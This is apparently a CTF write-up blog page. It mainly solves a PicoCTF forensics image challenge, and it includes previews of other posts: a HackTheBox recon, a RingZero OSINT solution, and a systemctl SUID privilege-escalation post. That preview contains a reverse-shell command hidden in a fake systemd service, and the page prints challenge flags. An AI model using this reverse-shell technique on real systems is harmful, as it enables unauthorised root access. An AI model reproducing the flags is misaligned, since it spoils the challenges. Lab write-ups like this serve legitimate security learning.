PicoCTF2018 - Forensics - now you don't

PicoCTF2018 - Forensics - now you don't

Objective:
We heard that there is something hidden in this picture [1] . Can you find it?

Hints:
(1) There is an old saying: if you want to hide the treasure, put it in plain sight. Then no one will see it. (2) Is it really all one shade of red?

Solution:

I used irfanview to get through this one.

As the hint suggests, eventhough it looks like its just one solid color there is another color present.

Load up infranview and you see just red

if you go to image and replace color you can choose to replace a specific color with anohter I chose to replace it with black

Original image:

Modified Image:

picoCTF{n0w_y0u_533_m3}

Comments

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) | 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open http Node.js (Express middlewar

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics - Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The

circusmonkey404's Security Site

Search This Blog